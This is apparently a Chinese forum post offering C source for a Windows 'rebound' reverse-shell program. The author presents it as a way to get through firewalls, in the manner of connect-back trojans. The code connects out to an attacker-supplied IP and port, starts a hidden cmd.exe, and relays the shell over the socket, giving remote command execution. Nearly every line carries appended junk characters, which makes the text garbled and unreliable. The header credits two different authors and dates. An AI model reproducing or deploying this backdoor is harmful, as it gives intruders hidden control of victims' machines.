这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >hH0Q5aL
sKyPosnP
/* ============================== 2Hum!p:1
Rebound port in Windows NT $4MrP$4TI
By wind,2006/7 fh^lO ^
===============================*/ -7!&@wuQ
#include sdCvG R e
#include P=1I<Pew
.vG,fuf8
#pragma comment(lib,"wsock32.lib") 7Ol}EPf#
H:H6b
void OutputShell(); =+w*gDr
SOCKET sClient; ;L&TxO>#J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E\m5%bK\B
]59i>
void main(int argc,char **argv) c]B$i*t
{ -YD+(c`l
WSADATA stWsaData; N8`?t5
int nRet; Z0De!?ALV\
SOCKADDR_IN stSaiClient,stSaiServer; 2DD:~Tbi
R}mn*h6
if(argc != 3) ^s.V;R
{ mZIoaF>t
printf("Useage:\n\rRebound DestIP DestPort\n"); n&MG7`]N
return; Z!0]/ mCE8
} lcV<MDS
ET];%~ ^
WSAStartup(MAKEWORD(2,2),&stWsaData); 8}w6z7e|{
w:'dhr':
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ap{}^
mJB2)^33a
stSaiClient.sin_family = AF_INET;
fI\9\x
stSaiClient.sin_port = htons(0); i@NqC;~;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4 g.
bR
U}SXJH&&E
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a(]`F(L
{ L !4t[hhe=
printf("Bind Socket Failed!\n"); #"fJa:IYG7
return; ob_I]~^I?|
} fIF<g@s
^TB>.c@ `*
stSaiServer.sin_family = AF_INET; *)]"27^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B^D(5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^KB~*'DN~s
P6,7]6bp
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )5fQ$<(Z
{ HyiFy7j
printf("Connect Error!"); .}')f;jH5<
return; !se0F.K
} W0jZOP5_.$
OutputShell(); [#YE^[*qK
} H&b3{yOa
)rLMIk
void OutputShell() .yENM[-bQ
{ G#Ou[*O'
char szBuff[1024]; t?nX=i*~]
SECURITY_ATTRIBUTES stSecurityAttributes; |lH;Fq{\
OSVERSIONINFO stOsversionInfo; !QmzrX}h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qW 1V85FG
STARTUPINFO stStartupInfo; G,= yc@uq
char *szShell; p
(FlR?= S
PROCESS_INFORMATION stProcessInformation; k#bu#YZk
unsigned long lBytesRead; JN6-Z2
9{j66
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c.\O/N
U=sh[W
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i~J;G#b
stSecurityAttributes.lpSecurityDescriptor = 0; NvjJb-u
stSecurityAttributes.bInheritHandle = TRUE; ?t@v&s
h;lirvO|
W\f9jfD
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); avp;*G}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iA_8(Yo
ydv3owN
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7nzGAz_W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ut]+k+ 4
stStartupInfo.wShowWindow = SW_HIDE; *sQcg8{^
stStartupInfo.hStdInput = hReadPipe; _B2V "p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JFL>nH0mk.
Wl^R8w#Z$
GetVersionEx(&stOsversionInfo); m"c :"I6
TaJB4zB
switch(stOsversionInfo.dwPlatformId) 2S`?hxAL
{ 1G~S|,8p
case 1: aKF*FFX
szShell = "command.com"; c':ezEaC
break; C9S@v D+
default: g=}v>[k E
szShell = "cmd.exe"; J` {6l
break; [=*E+Oc
} #n\C
|
y'ja< 1I>
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wxLXh6|6%_
6`\]derSon
send(sClient,szMsg,77,0); O gmO&cE
while(1) 3-40'$lE
{ m8+(%>+7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l^NC]t
if(lBytesRead) vjViX<#(V
{ puJ#w1!x`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V%HS\<$h
send(sClient,szBuff,lBytesRead,0); 'k&?DZ!
} 7dh1W@\
else ~$O1`IT
{ 'UM!*fk7C
lBytesRead=recv(sClient,szBuff,1024,0); SN+S6
if(lBytesRead<=0) break; Jeqxspn
T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @E`?<|B}
} -jg (G GJ
} MQ][mMM;w
j&6 jRX
return; &;H{cv`
}